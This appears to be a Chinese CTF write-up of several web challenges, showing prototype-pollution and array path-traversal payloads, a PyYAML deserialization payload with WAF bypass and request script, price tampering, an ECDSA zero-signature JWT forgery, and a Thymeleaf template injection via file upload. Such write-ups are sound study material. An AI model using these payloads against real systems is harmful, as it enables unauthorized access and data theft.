本文最后更新于 2026年7月1日 中午
黄河流域和智警杯时间重了,回来之后复现的
real_Grafana
爆破密码然后打CVE
1 2
| username:editor password:editor123
|

ezlog
主要就是两个接口,一个可以nodejs原型链污染,一个可以查看文件但是需要管理员权限
先看看管理员的校验逻辑
1 2 3 4 5 6 7 8 9 10 11
| const ADMIN_NAME = "CTF-ADMIN"; const ADMIN_NONCE = "t0mcater" + generateSecureRandomNumber();
let adminconfig = { name: ADMIN_NAME }; Object.prototype.nonce = ADMIN_NONCE;
function isAdmin(name, nonce) { return name === adminconfig.name && nonce === Object.prototype.nonce; }
|
校验了两个变量,再看看递归合并函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| function merge(target, source, res) { for (let key in source) { if (key === '__proto__') { if (res) { res.send('????'); return; } continue; }
if (source[key] instanceof Object && key in target) { merge(target[key], source[key], res); } else { target[key] = source[key]; } } }
app.post('/api/pollute', (req, res) => { let userconfig = req.body; try { merge(adminconfig, userconfig, res); res.json({ status: "success", msg: "pollute success!!!", }); } catch (e) { res.status(500).json({ status: "error", message: "wtf?" }); } });
|
禁用了__proto__,我们可以走constructor,考虑到是公共靶机,保险起见顺手把name也污染了
1
| {"constructor":{"prototype":{"nonce":"pwned"}}}
|
下面我们看看怎么读文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| const allowedFile = (file) => { const lastDot = file.lastIndexOf('.'); if (lastDot === -1) return false; const format = file.slice(lastDot + 1); return format == 'log'; };
app.post('/api/checkfile', async (req, res, next) => { try { if (isAdmin(req.body.name, req.body.nonce)) { let file = req.query.file; console.log(file); if (!file) { return res.send('File name not specified.'); } if (!allowedFile(file)) { return res.send('File type not allowed.'); } try { if (file.includes(' ') || file.includes('/') || file.includes('..')) { return res.send('Invalid filename!'); } } catch (err) { return res.send('An error occured!'); }
if (file.length > 10) { file = file.slice(0, 10); } const returned = path.resolve('./' + file); fs.readFile(returned, (err) => { if (err) { return res.send('An error occured!'); } res.sendFile(returned); }); } else { return res.status(403).send('Sorry Only privileged Admin can check the file.'); } } catch (err) { return next(err); } });
|
这里校验了文件后缀名,进行了长度截取
注意:file.slice对数组也有效而对file参数进行多次传参可以产生数组!!!
1
| /api/checkfile?file=a&file=a&file=a&file=a&file=a&file=a&file=a&file=a&file=a&file=%2F..%2F..%2Fflag&file=.&file=log
|
传参得到
1
| ['a','a','a','a','a','a','a','a','a','/../../flag','.','log']
|
完美通过后缀校验,长度截取直接截掉后缀名
1
| ['a','a','a','a','a','a','a','a','a','/../../flag']
|
我们看path.resolve('./' + file);
这里file是一个数组,会进行toString操作,变成./a,a,a,a,a,a,a,a,a,/../../flag,直接目录穿越,读到flag
喵喵宠物医院
提示YAML不止能写配置文件,PyYAML的文档里有些有意思的tag,那一般就是PyYaml反序列化了
我们探测一下有哪些接口
/api/records电子档案增删查,/api/terminal智能辅助终端
继续探测,我们发现在智能辅助终端输入help会暴露两个方法

我们推测这里的yaml.load() 使用了不安全的 Loader
先尝试一个最简单的Payload
1
| !!python/object/apply:os.system ["whoami"]
|

有WAF,简单测一下
1
| !!python,os.popen,os.system,builtins,eval,exec,subprocess,/flag
|
这里我们来简单解释一下原始payload的构造以及如何绕过WAF

首先是!!python的绕过
YAML 的 %TAG 指令可以为标签 URI 创建别名前缀。利用这一点,将 !!python 映射为自定义前缀 !p!
下面是函数,由于WAF常见的执行函数的命令基本都废了,我们找找能打开文件的函数
1
| linecache.getline(filename, lineno)
|
那么/flag我们直接用拼接绕过就好了
最终payload:
1 2 3 4 5
| %TAG !p! tag:yaml.org,2002:python/ --- name: !p!object/apply:linecache.getline - !p!object/apply:posixpath.join[/,flag] - 1
|
思考:---和-的作用是什么
---表示yaml文档的开始,前面是标签简写的定义
-表示列表,可以给函数传递参数
写一个python程序发包即可
1 2 3 4 5 6 7 8 9 10 11 12
| import requests
TAG = "%TAG !p! tag:yaml.org,2002:python/\n---\n" PAYLOAD = TAG + "name: !p!object/apply:linecache.getline\n - !p!object/apply:posixpath.join [/, flag]"
r = requests.post( 'http://175.27.251.122:10003/api/terminal', json={'command': PAYLOAD}, headers={'Connection': 'close'}, timeout=(8, 25) ) print(r.text)
|
浅谈PyYAML反序列化漏洞-先知社区
川味小厨
楼下新开了一家川菜馆,点餐系统全面数字化,听说消费大客户有隐藏福利?这个是真的吗?我觉得应该是虚假宣传吧!
注册一个账号,然后余额是0,思考能不能通过负金额购买增加余额
这里支付分为两步,生成订单和支付,分别抓包看一下
创建订单
1 2 3
| POST /api/order/create
{"items":"[{\"stamp\":\"17828272839110.3505490320695185\",\"id\":\"21\",\"name\":\"芬达\",\"price\":2.5,\"selected\":true},{\"stamp\":\"17828272863040.0051247505051564834\",\"id\":\"21\",\"name\":\"芬达\",\"price\":2.5,\"selected\":true}]","total":5}
|
返回一个orderId
确认支付
1 2 3
| POST /api/order/pay
{"orderId":"caee86cd-e166-423e-871d-35f5166a54ec","method":"微信支付","useCoupon":false}
|
也就是说只需要改一下总金额获得订单号然后用订单号支付即可
然后进行大额消费,获得vipflag(是假的)
好吧,再来看看其他方向,cookie里面有token看看能不能进行jwt伪造

加密算法是ES256,none和算法混合攻击都不行
补充: ES256 空签名漏洞
JWT 长这样:
1
| base64url(header).base64url(payload).base64url(signature)
|
ES256 是 ECDSA 签名算法。正常情况下,我们没有私钥,不能伪造签名。
但这里服务端使用的 Java ECDSA 验签存在经典问题:某些实现会错误接受 r=0, s=0 的 ECDSA 签名。这个签名的 ASN.1 DER 编码是:
base64url 编码后就是:
所以 JWT 的第三段可以直接写死为:
这就是所谓的 psychic signature / ECDSA 空签名绕过。
构造过程
header:
1
| {"alg":"ES256","typ":"JWT"}
|
base64url 编码后:
1
| eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9
|
payload:
1
| {"phone":"admin","rol\u0065":"admin","sid":"exp"}
|
base64url 编码后:
1
| eyJwaG9uZSI6ImFkbWluIiwicm9sXHUwMDY1IjoiYWRtaW4iLCJzaWQiOiJleHAifQ
|
signature:
拼起来:
1
| eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJwaG9uZSI6ImFkbWluIiwicm9sXHUwMDY1IjoiYWRtaW4iLCJzaWQiOiJleHAifQ.MAYC
|
思考:为什么不能直接写role
如果直接构造 payload:
1
| {"phone":"admin","role":"admin","sid":"exp"}
|
服务端会返回:
原因是它在 JWT 解析前做了一个很粗糙的字符串过滤,检测到了 payload 里有字面量 role 或类似 admin 权限字段,于是拦截。
但是 JSON 支持 Unicode 转义。字段名:
解析之后等价于:
通过伪造的jwt我们去访问/api/user/profile就得到了admin的密码Sanjiu1234567890@@@
进入后台,有文件上传的接口且文件名和文件内容可控,存在路径穿越漏洞
之前响应包带有spring风格,这里推测是 Thymeleaf 模版
上传文件名写成:
1
| ../templates/orders.html
|
内容写 Thymeleaf 表达式读取 /flag:
1 2 3 4 5 6
| <!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <body> <div th:text="${new java.io.BufferedReader(new java.io.FileReader('/flag')).readLine()}"></div> </body> </html>
|

访问订单管理页就能得到flag
